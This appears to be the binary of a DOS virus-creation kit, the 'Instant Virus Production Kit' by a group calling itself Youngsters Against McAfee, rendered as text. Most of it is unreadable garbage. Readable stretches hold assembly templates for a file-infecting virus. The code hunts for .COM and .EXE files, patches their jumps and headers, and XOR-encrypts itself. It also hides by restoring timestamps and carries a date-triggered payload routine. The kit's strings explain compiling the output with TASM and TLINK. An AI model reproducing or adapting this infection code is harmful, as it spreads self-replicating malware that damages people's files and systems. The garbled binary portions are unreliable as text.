MZF XVXRlz$).B !P]y !&05?DV[`38   ) a k u    1 6 o t sx).#GLGLotv{CHlqOfk?Dv{ Y^5:*R+W+++++, ,+,0,G,Q,p,u,"-'-l-q----- ......./3/d/i///0#0G0L00000*1/1S1X1|11112 2]2b22233.333r3w34474<4444467777q8{8899999 ::V:`:::p;z;;; <%<k<<<<<<=!=?}????8@=@@@@@]BqB{BBBBBBB C0C5CCCK'KLL+L=LGLQLMMMMMMMANKNUN_OiOsOOOOPPPPGSbSgS TTT1T6TMTRTvT{TTTTTTTTTTTTTTT UUU U%U4UYX^XcXnXwX|XXXXXXXXXX YY&Y+Y0Y:Y?YDY[Y`YeYwY|YYYYYYYYYYYYYYY ZZZ!Z&Z-Z?ZDZIZSZXZiZqZvZZZZZZZZZZZZ/[4[9[|[[[[[[\\\7\<\A\\\\\\\\W]\]a]{]]]]]]]]^^ ^<^A^F^^^f^k^~^^^^^^^_ _9_k_p_u________``6`;`Y`^`c```````````````aaaaa,a6a;aQaVa[amarawaaaaaaaaaaaaaab bb$b1b6b;bEbJb\bibvb{bbbbbbbbbbbbbb cccc2c7c0v"WW WR WYWW|W=>fu>au>`t)WWW&WW]Virus:call realcodePush current location on stack Realcode:noppop Get location off stacksub ,offset realcodeAdjust it for our pointercall encrypt_decryptDecrypt the virus firstEncrypt_Start equ $From here is encryptedbp mov bp, Set up bp cmp sp,idIs this file a COM or EXE?je restoreEXEIts an EXE so restore itlea si,[bp+offset oldjump]Location of old jump in simov di,100hRestore new jump to 100h push di&Save so we could just return when donemovsb Move a bytemovsw Move a wordMove another wordjmp exitrestore RestoreEXE: push ds Save ExE ds push es Save ExE es push cs pop dsDS now equals CS pop esES now equals CSlea si,[bp+jmpsave2]lea di,[bp+jmpsave] ExitRestore:lea dx,[bp+offset dta]Where to put New DTAcall set_DTAMove itmov [counter],byte ptr 0 Clear countermov [bp+counter],byte ptr 0mov ax,3524hGet int 24 handler int 21hIt gets put in ES:BX!mov word ptr [bp+oldint24],bxSave it#mov word ptr [bp+oldint24+2],esmov word ptr [oldint24],bx mov word ptr [oldint24+2],esmov ah,25hSet new int 24 handlerlea dx,[bp+offset int24]Loc of new one in DS:DXmov dx,offset int24 Restore ES'cuz it was changedmov ah,47hGet the current directory mov dl,0hOn current drive!lea si,[bp+offset currentdir]Where to keep itmov si,offset currentdirDirLoop:mov dx,offset exefilespecFiles to look for"lea dx,[bp+offset exefilespec]call findfirstmov dx,offset comfilespec"lea dx,[bp+offset comfilespec]U>WEW>`t FWWWYWvWEWjP F;FFFWEWF;Fu荾WW WR WP F;FFFWEWF;Fu荾WW WR WR WP F;FFFWEWdF;Fu>et8WWHWW"WYW>`uBW9W t1W<W WR HWW>gt7>ft0>`u)RW`W{WWW>ftx>`uqWW{WWn WWa<WBWTNWTWGNW`W:>gt rWEW&W>gu>`t>ft WEWWWWWWEWWWWEWWWWWEWWEWxNWTWkNWTW^NWTWQNWTWDW>gt>`u>ft 4WEW@>au0>`u)AW\WqWWW>0v(>`t WW>`u WW>buWWW W>`u W; WuC WEWh>`tg W; WT WEWGW W W+>`u W W>`t  W WWEWᅭWW WW% WᅭW>dt^9 WH Wb Wp W>`u W W>`t W WuWEWhᅭW>dt WEWr>gt5>`t W W*>`u W W- WEW >ft5>`t ? W W>`u ] W W- WEWW]mov dx,offset directoryWhere to change too '..' lea dx,[bp+offset directory]mov ah,3bhChange directory int 21hjnc dirloop!If no problems the look for filesU1>au^>`t RWnW>`u WnWWWWWWWW] FindFirst:cmp [bp+counter],maxfilesHave we infected too many?cmp [bp+counter],maxfilesHave we infected Too many ja quitYupmov ah,4ehFind first file mov cx,7Find all attributes FindNext: int 21hFind first/next file int jc quitIf none found then change dircall infectionInfect that file FindNext2:mov ah,4fhFind next filejmp findnextJump to the loopQuit:retU1>atxWW>0v?>`tWW WWWW뿒WWW#W0Wu뿒WDWWNWZWLsWW?뿒WWW#뿒W>ft>`u>cu WW>auRWWWW꿒W WWWW꿒W]call activateCall the activation routinemov ax,2524hRestore int 24 handlerlds dx,[bp+offset oldint24] To originalmov dx,offset oldint24 int 21h push cs pop ds#Do this because the DS gets changedmov dx,offset currentdirGet original directory!lea dx,[bp+offset currentdir]Location Of original dirmov ah,3bhChange to theremov dx,80hLocation of original DTAcall set_dtaPut it back there int 20h Quit programcmp sp,id-4Is this file an EXE or COM?jz returnEXE Its an EXE!retnReturn to 100h (original jump) ReturnEXE: pop esGet original ESGet original DS mov ax,esadd ax,10h%add word ptr cs:[bp+jmpsave+2],ax'add ax,word ptr cs:[bp+stacksave+2]cli)Clear int's because of stack manipulation%mov sp,word ptr cs:[bp+stacksave] mov ss,axsti db 0eahJump ssss:oooojmpsave dd ? Jump locationstacksave dd ?Original cs:ipjmpsave2 dd 0fff00000hstacksave2 dd ?U1uWW濒W>btzWW>`u WWw>`t WWcWWV濒WWW:)W4W-濒W>dtQ>`t XWuW>`u WWWWWW忒W>au0>`u)WWWW忒W>au>`t0W;Wt忒W>gt7>ft0>`u)HWXWCtWW6忒W>ft#>`uWW 忒W>gu>`t>ft WWWW)WW俒WWWWW WW/WWxWW[Wk俅WW^俫WWQ俹WWD俽WW7WWWW WJWW=5WW0忒W]mov ah,40hWrite virus to filemov cx,eof-virus Size of viruslea dx,[bp+offset virus]Location to start frommov dx,100Start writing from beginning int 21hU1>au^W)W!=WRW>`u `W}W>`t WWWW⿒W] Infection:mov ax,3d00hOpen file for read only call openmov ah,3fhRead from filemov cx,1ahNumber of byteslea dx,[bp+offset buffer]Location to store them int 21hmov ah,3eh Close file mov ax,word ptr [bp+DTA+1Ah]Get filesize from DTAmov ax,word ptr [80h+1Ah] cmp ax,Is the file too large?ja quitinfectfile to large so getanotherIs the file too small?jb quitinfectfile to small so getanother!cmp word ptr [bp+buffer],'ZM'Is file found an EXE?jz checkEXEYup so check itmov ax,word ptr [bp+DTA+35]Get end of file name in axmov bx,80hmov ax,word ptr [bx]+35cmp ax,'DN'Does it end in 'ND'?jz quitinfectYup so get another filejmp finishinfection CheckCom:'mov bx,word ptr [bp+offset dta+1ah] Get file size$cmp word ptr cs:[bp+buffer+3],id Check for IDje quitinfectjmp infectcom CheckExe:#cmp word ptr [bp+buffer+10h],idCheck EXE for infectionAlready infected so close upjmp infectexe QuitInfect:ret InfectCom: sub bx,3Adjust for new jumplea si,[bp+buffer]Move the old jump firstlea di,[bp+oldjump]movsbmovsw!mov [bp+buffer],byte ptr 0e9hSetup new jump!mov word ptr [bp+buffer+1],bx Save new jump!mov word ptr [bp+buffer+3],id Put in ID mov cx,5Number of bytes to writejmp finishinfection InfectExe:$les ax,dword ptr [bp+buffer+14h]Load es with seg address!mov word ptr [bp+jmpsave2],axsave old cs:ip#mov word ptr [bp+jmpsave2+2],es$les ax,dword ptr [bp+buffer+0eh]save old ss:sp#mov word ptr [bp+stacksave2],es%mov word ptr [bp+stacksave2+2],ax"mov ax, word ptr [bp+buffer+8]get header size mov cl,4 shl ax,cl xchg ax,bxles ax,[bp+offset DTA+26]get files size from dta mov dx,esits now in dx:ax push ax save these push dx sub ax,bxsubtract header size from fsize sbb dx,0subtract the carry toomov cx,10hconvert to segment:offset form div cx#mov word ptr [bp+buffer+14h],dxput in new header#mov word ptr [bp+buffer+16h],axcs:ip#mov word ptr [bp+buffer+0eh],axss:sp#mov word ptr [bp+buffer+10h],idput id in for later pop dxget the file length back pop axadd ax,eof-virusadd virus size adc dx,0add with carry mov cl,9calculates new file size shr ax,cl ror dx,clstc adc dx,ax and ah,1!mov word ptr [bp+buffer+4],dxsave new file size in header!mov word ptr [bp+buffer+2],ax push cses = cs pop esSize of EXE headerFinishInfection: push cxsave # of bytes to write xor cx,cxSet attriutes to nonecall attributes mov al,2open file read/writemov ah,40h Write to filelea dx,[bp+buffer]Location of bytes pop cxGet number of bytes to writejc closefile mov al,02Move Fpointer to eofCall move_fp get_time:mov ah,2chGet time for encryption value cmp dh,0#If its seconds are zero get anotherje get_timemov [bp+enc_value],dh Use seconds value for encryptionmov [enc_value],dhcall encrypt_infectEncrypt and infect the fileinc [bp+counter]Increment the counterinc [counter] CloseFile:mov ax,5701hSet files date/time back mov cx,word ptr [bp+dta+16h]Get old time from dta mov dx,word ptr [bp+dta+18h] Get old date push bxmov cx,word ptr [bx]+16hmov dx,word ptr [bx]+18h pop bx mov cl,byte ptr [bp+dta+15h]Get old Attributesmov cl,byte ptr [bx]+15hretnU>`t @WKW*ր>at>`t@WKW ֿLW]WԿuWKWԿWWWԿWWԿWWԿWKWԿWWWcԿWKWVԿW>0vf>`u W;W,Ԁ>`t QW;WԍWoW WR {WӿWWӿW>0v>WoW WR WӿWWӿW>gt(>ft!>`uW)Wsӿ?WPWfӀ>fu>cur>`u `WWAӀ>`tWKW-ӿWW ӿWWӿWWӀ>`t  WKWҿW>`u_- WKWӿ7 W_ Wҿm W Wҿ WKWҿW WKWҿW>gtJ>`uC WKWӿ W WUҿW !WHҿ'!WKW;ҿW>au)9!WKWEӿE!WKW ҿW>fu>`tI!WKWӿT!Wa!Wѿu!W!Wѿ!WKWѿ!WKWѿ!WKWѿ!WKWѿ!W!Wѿ!W"WsѿW)"WK"WWѿU"Wb"WJѿW{"WKW.р>gu>`t"WKW:ҿ"W"Wѿ"W"Wп #WKWпW1#WV#Wпe#W"Wп#WKWпW#W#Wп#WKWп#WKWzп#WKWmп $W)$W`пA$WO$WSп`$Wk$WFпv$WKW9пW$W$Wп$W$Wп$W$Wп%WKWϿW %W0%WϿB%Wf%WϿWl%W%WϿ%W%WϿ%W%WϿ%WKWϿW%W&WnϿ!&W.&WaϿW=&WJ&WEϿ`$WKW8Ͽc&WKW+Ͽq&WKWϿ&WKWϿ&WKWϿ%WKWο&WKWοW&W&Wο&WKWοW&W 'Wο'WKWοWW'W|΀>at0'WKWπ>`u A'WL'WQοe'Ws'WDο'WKW7οW'W'WοuWKWοW>`uy'W'WͿ'W'WͿ(W(WͿWKWͿ,(WKWͿW>(WL(WͿa(WKWͿW>eu>atq(WKWο{(W(WQͿWKWDͿ(W(W7Ϳ(WKW*̀>`u (W)Ẁ>`t %)W)WͿW<)WS)W̿WU>0v7>`u o)W)Ẁ>`t )W)W̿W>at5)WKWͿ)W)Wò>`u)W*W[̿*W9*WǸ>`t4F*WKW:̿Q*W*W-̿n*W9*W ̿*WKW̿WKW̿WWW˿WKW˿We'WKWˀ>`u *W*Wˀ>`tWKW˿*W*W˿'WKW˿W*WKWc˿W] Activate:mov ah,2ahGet current date int 21h cmp cx,Check current Yearjb dont_activateja dont_activatejne dont_activate cmp dh,Check current Month cmp dl,Check current Day cmp al,Check current Day of weekmov ah,2chGet current time cmp ch,Check current hour cmp cl,Check current minute Check current second mov ah,9Display stringmov dx,offset messegeThe string to displaylea dx,[bp+messege]mov include .\routines\ Include fileDont_Activate:retU  FF>iNt >intF>uNt >untF>Nt >ntF>Nt >ntF>Nt >ntF>Nt >ntF>Nt >ntF4W4Wɀ~t)4W4Wȿ4W4WyȿW>iNu>int|h0hF~+t~-u h0HhW4W hWR 4WȀ~+u5W4W"~-u(5W4W >5W4Wǀ>uNu>unt|t0tF~+t~-u t0HtWT5W tWR `5Wǀ~+u5W4Wt"~-u(5W4W_ >5W4WPǀ>Nu>nt|0F~+t~-u 0HWt5W WR 5Wƀ~+u5W4W"~-u(5W4W >5W4Wƀ>Nu>nt|0F~+t~-u 0HW5W WR 5Wmƀ~+u5W4WZ"~-u(5W4WE >5W4W6ƀ~t8W5W5Wƿ4W4WƿW>Nu>nt|0F~+t~-u 0HW5W WR 5Wŀ~+u5W4W"~-u(5W4Wz >5W4Wkŀ>Nu>nt|0F~+t~-u 0HW5W WR 6Wŀ~+u5W4W"~-u(5W4W >5W4WĀ>Nu>nt|0F~+t~-u 0HWT5W WR 6WĀ~+u5W4Wu"~-u(5W4W` >5W4WQĀ~u~tW06W=6W)Ā>`t L6Wf6WĀ>`u |6Wf6WĿ4W4WÿWF;F~FF>狅F;FEFFW6W  fȸMfǪWR 4WzËF;Fuf0t+W6W fǮWR 6W8ÿWF;FtO~u~t 6W4W2Ŀ6W4W¿W]Move_Fp:mov ah,42hMove file pointer xor cx,cxAl has location xor dx,dx Clear these int 21hretnSet_DTA:mov ah,1ahMove the DTA locationDX has locationOpen:mov ah,3dh open filemov dx,80h+30Loc of filenamelea dx,[bp+DTA+30]Filename in DTA xchg ax,bxput file handle in bxret Attributes:mov ax,4301hSet attributes to cxLoc of filename in DTAfilename in DTAint24: New Int 24h mov al,3 Fail calliretReturn from int 24 callU1>at>`t'=W0=W¿1=W@=WR=W`=Wp=W~=W=W0=W=W0=WW=W0=W=W=Wn=W=Wa=W0=WTW=W0=We=W=W+>`t =W >W>`u >W1>W=W0=WA>WO>W鿿e>W0=WܿWi>W0=Wu>W>W賿>`t =W>W蟿>`u >W>W苿=W0=W~e>W0=WqW>bt6>W>W{>W>WA>W>W4W]Virusname db ''Name Of The VirusAuthor db 'Author Of This Virusmessege: db '',10,13Made_with db '[IVP]',10,13,'$'Please do not remove thiscomfilespec db '*.com',0 Holds type of file to look forexefilespec db '*.exe',0 directory db '..',0Directory to change to oldjump db 0cdh,020h,0,0,0#Old jump. Is int 20h for file quitUW@W  WR @WR @W誾W AW  WR @WR AW~0AW9AWqF;FEFFW:AW QfCWR IAWR 9AW&F;FuQAWpAWW>ft AWAW>gt AWAWڽ>dt AWAWƽ>ft>`u BW0BW諽W]Encrypt_Infect:!lea si,[bp+offset move_begin]Location of where to move fromlea di,[bp+offset workarea]Where to move it toomov si,offset move_beginmov di,offset workareamov cx,move_end-move_beginNumber of bytes to move move_loop:movsbMoves this routine into heaploop move_looplea dx,[bp+offset workarea]mov dx,offset workarea call dxJump to that routine just movedretMove_Begin equ $Marks beginning of movebpmov ,bpSet up the random register push bxSave the file handle"lea dx,[bp+offset encrypt_end]mov dx,offset encrypt_end"Call the encrypt_decrypt procedure pop bx Get handle back in bx and returnmov ah,40h Write to filemov cx,eof-startNumber of bytesmov cx,eof-virusmov dx,100hlea dx,[bp+offset virus]Where to write from int 21hDecrypt the file and returnmove_end equ $Marks the end of moveEncrypt_End equ $Marks the end of encryptionEncrypt_Decrypt: lea bx,[+encrypt_start]Where to start encryptionmov bx,offset encrypt_start$mov cx,encrypt_end-encrypt_startNumber of bytes to encrypt Encrypt_Loop:mov ah,cs:[bx]Get a byte in ah xor ah,[ +enc_value]Value to use for encryptionxor ah,[enc_value]mov cs:[bx],ah Put it back inc bxMove to next byte and looploop encrypt_loopbytes to encryptmov si,offset encrypt_start lea si,cs:[bp+encrypt_start]start of encryption mov di,siencloop:lodsbxor ah,cs:[enc_value]xor ah,cs:[bp+enc_value]stosbloop encloopmov ah,cs:[Put encryption value into ahlea si,cs:[Start of encryptionmov ah,[enc_value]$mov cx,encrypt_end-Encrypt_startBytes to encryptxor cs:[si],ah inc simov bx,[bp+encrypt_start]$cmp bx,encrypt_end-encrypt_startjle encloopEnc_Value db 00h+Hold the encryption value 00 for nul effectUP F>atVCWCW>`uCWCW赴CWDW訴>`t(DWCW蔴EDWDW致`DWDWzDWCW蚵DWDW`DWCWS>`u DWCW?>`t DWCW+EWEW=EWCWWAEWYEW">`u=WqEW t,WtEW WR }EWR EW豳EWEW褳>`u EWCW萳>`t EWCW|EWEWo FW+FWbLFW[FWU>`t iFW~FWA>`u FW~FW->`t FWCW>`u FWFWFWCWEWEW벀>`u EWCWײ>`t EWCWòEWFW趲 FW+FW該=EWCW蜲 GW$GW輳W:GWRGW蠳WnGWCW脳~t>`u,WGW WR GWR GW>`t GWGWGWGWHWCW$HW7HWీ>`u,WHHW WR UHWR aHW譱>`t }HWaHW虱HWHW茱HWHWHWCWr~tGWHW\>`t HWCWH>`u IW@IW4TIWCW'bIWCWGkIWCW >`t qIWCW>`u IWCW尿IWCWذIWCW˰~t>`uXWIW WR UHWR IW菰WIW WR GWR IWc>`tJWIWOHWIWB&JWKJW5bIWCWU\JWCWoJWCWIWCW~t>`u zJWCW䯀>`t GWCWЯbIWCW$HWCW趯>`u IWCW袯>`t qIWCW莯HWCW聯HWCWtJWCWgJWCWZ=EWCWMWJWJW^W]EOF equ $Marks the end of file Counter db 0Infected File Counter+Workarea db move_end-move_begin dup (?) Holds the encrypt_infect routinecurrentdir db 64 dup (?)Holds the current dirDTA db 42 dup (?)Location of new DTABuffer db 1ah dup (?)Holds exe header OldInt24 dd ?Storage for old int 24h handler Filler db  dup (0)eov equ $Used For Calculations code ends end start ;---------M; Instant Virus Production Kit By Admiral Bailey - Youngsters Against McAfee+; To compile this use TASM /M FILENAME.ASM"; Then type tlink /t FILENAME.OBJUPWQW߭W>0v QW#QW輭>et>au 9QWeQW衭>dt QWQW荭>au>`u QWQWr>au>`u QWQWW>bt RWRWC>0v,W;RW WR IRWR RRWWSRWeRWW{RWRRWجRWRRW螫WWWRW1PWRW1PWRW1PWSW1PWRW1PW]U1FF@F~ .uFH ]' Youngsters Against McAfee Present.. Instant Virus Production Kit v1.7 By Admiral Bailey. Command Line Issued Was Not Acceptable!& The Syntax Is: IVP [ConfigFile] Please Try Again9 There Was An Error Opening The Configuration File.+ Please Make Sure It Is Really There.Reading Configuration File...:START:END+ There Is an error in the Config FileDone!!2 There Was An Error Opening The Output File.B Please Make Sure You Have The Right Filename As the CONFIG. Input File: Output File: Virus Name: Authors Name: Writing Output File (). \Now Compiling With TASM.EXECOMSPEC/C TASM.EXE /m Now Compiling With Tlink.EXE TLINK.EXE TLINK.EXE /t 5Thank you for using The Instant Virus Production Kit!2 `U.qkPc`,fgedcba`11WWZUW1PWWUW1PUW1PUW1PW =tjWUW1PWUW1PWVW1PW1 WWP6  Wd tNW&VW1PW`VW1PW1WVW1P W<t{ W5 W5<;u W1 W WP >Yub>yubft >Yuc>yucvau >Yud>yud) W WP >Yue>yueau >Ou`>ou`nau WWP ,Cuf>cuf>Eug>eug>Tua>tua>Bt>bu gfau WWP Yau WWP 狅@>牅 W> ȸM&ǪW P  WVW u>狅H>牅 Wdt/W.P1P{dP`IW.P1P{dP`W.P1P{dP`ǿW.P1P{dP`aӿW.P1P{dP`sۿWWW1PdP`޿WWW1PdP`>et$WWW1PdP`)WWW1PdP`WVW1PW>0uY0\t(WW WWR WP `WWW1PWWWWWW WR WWR  WR nWWW1P>gtL>fuEWWWWWW WR XWR  WR nCWWWWWW WR XWR  WR nWW XW1P]1U]U(W WdW Wi]˴<t <vU2$:03+;<@*Rl&&:t&?7368%!ÎR&&<t<rPWX t-J0@*u&, %ôP0X u<wʴv.8-,324P؀>*t<Xπ><u<t^C6G#m:06W 6w6O6o:w':w#xx:8w:.9w 24A>02462%>0ʊ4˸PX>024:u2ˋ6W6w2r:4w63r :65w*2*3ˋ6Gt$ &0p06G$&00&0ˀ0ˠ:0ˋ6W tR3&6JuKu&:Ë6_4;sau aCBBa$aˀ>;utˠ;; u2 u &; uˋ6EEE ]EgME06}ˁ}t E׸L؉EM]MMM3U~&UJJ&u&} 3;\<t4<t0<tDI<t'<t#<t7<tF< tO< r;t&C;v t }K;t&< rjC둀>+t&C N& CC~3&E&] ]6&M&)M&} >,u &G33  SQRPrX<t*<t-< t3< t5 02RcZ:4v 2O:2t 2-ZY[:65vQR>024ZYô2 2RPڋ&<t!<t,< t5< t9G:4v2G0RP&J2‹ȋcBJB;tcQRW+R&J2c>IXuV->0 tutë笫_ZYVWU]_^U1~ >&2G1ۆ؆3 ]U\>WWx>WP t  L>W 1>W>WPW  ;};sȋڡ  ;|z;wvF;Fhȋڡ;|4;w0ȋڡ;| ;w >ƅ=;Fu>W6>Wu>W4 ;t \]& Note: I/O Error during CRC SelfChk!Yo!!! * has been changed in one way or another!!!GSo for safety's sake your not allowed to run this. It could be Infected with a virus!U1$<uWW1P>wWP1P{W1PW1PW1PP1P{WW1PWcW1PP1P{1]UW1P6 WP 1%=u5>uС>牅>>u]U v~<v@?uڌF3£&*2F&.8:9.5!E %!#%!$%!?%!PPcPNPPcP:3[SYt@SYt@Z3Xǖ9sWT!NX[YZ^_]ϸY[33ۺ@ t= t/& t+w=sr&;r&ыȌ+FBD< t3<>JnPS˸P*P!9.%!B Dt)L*@2[D@:UB5`@L!. t8Cñd 20PXPXPX$0<:rд!!#$456789:;<=>?uRuntime error at . Portions Copyright (c) 1983,92 Borland3J˃>JuˡJp6D&;U|&;r&;U|&;Ew˸HBr +s ;Hr˸*3ҋ66w3׫3Et 3O u :v t26 6G&E6G&E 6G&E3&E&E U~&E=t=t =tJf$RW%Z3&U&E&E Lt&E]U~&}t&}tJgPX t  &E]WW& tJ_Ë6&U &M&?!r&E 3&E&E 6&U 3&M&@!r+te6&U 3&M&@!r36&v>!r3>Ju5&u.&w&;w t+SR&W &_ +[&w uJhPQRWS3[_ZYX&w&;w uÃ>Ju@&u9&O&++s3&w  +&&;u RS[Z uJiÃ>JuH&uA&O&++s3S&_ +[&&;u PRVS[^ZX uJiU^3u &tp]< t <t;u;t < tN3øU^^Xu &t-]U^&t >Ju]S&_ tJS&_ tJU>Ju8^&u'&&; u^&&; t&G&_ &]JhU^ VJ~m>Ju)&u%&G&&W&_ F&A;u^ _]JiU^ N~V G~+H]< t<t ;N3U^&2^ V+~PX t vV F] U^S3L]<tt< tt < w;uSIN3ú3ҋ66w3׫3O u :v t2\=3<U~&}t&}tJf4PRWLZX&}0tU03!sJ&E&F&E]68u3&@!sJ6u&v >!sJ&E&}tJgô?d@eU~ uRV&M&!Zr;t£J]?d@eU~u?F tQ&eV &!Yr3&u~ t&;F tJJ~ t3&]U~ Ju!F&eȋF&eʋ&B!sJ]UV tI00!<r%F&,3&:t~]3ˎF& 2G3 &= wG &= vG+tCJuÀ>ZrffffffˋPR؋ZXˀ>Zr'fffft^fffffU3 yE؃ t>y EEكt3U3ۋʋ3@+sHMu]]ʋ3sكEMu؃]ˀ>Zr˃tˀ>Zr˃t܌66w2܌6w 66O:v2 ܌6 6w26O +r@6O }3;v3܌66w& 2&s&GUv t,2~& 2+rAGuNjًItˋv F3H+F]܌6w6&%G:v t2u:Ď66G܌6 6w6GU~}FW~ WPFHP~WW~ WvP~ Wvx] U~~a~Z~~F~}FW~ WPFHPSW~ WFFPP9v~ WP]63ɉ =}t }t<}0t U0!rZ 33ہ}t/D!€`ȋu}u+;33E׉EUM]EE333ɋB!-s33ҋʋЋB!?!s33;t tC+йB!3ɋ@!Z܋6g6g= ƀu 2 <17L<-59=OLN.&iLN,!LNDr&Mt3o-r&Mt3Tr +r26&}u+33&B!RP33&B![YRP&B!Y[Jg33ÿ`+3{9SCHK@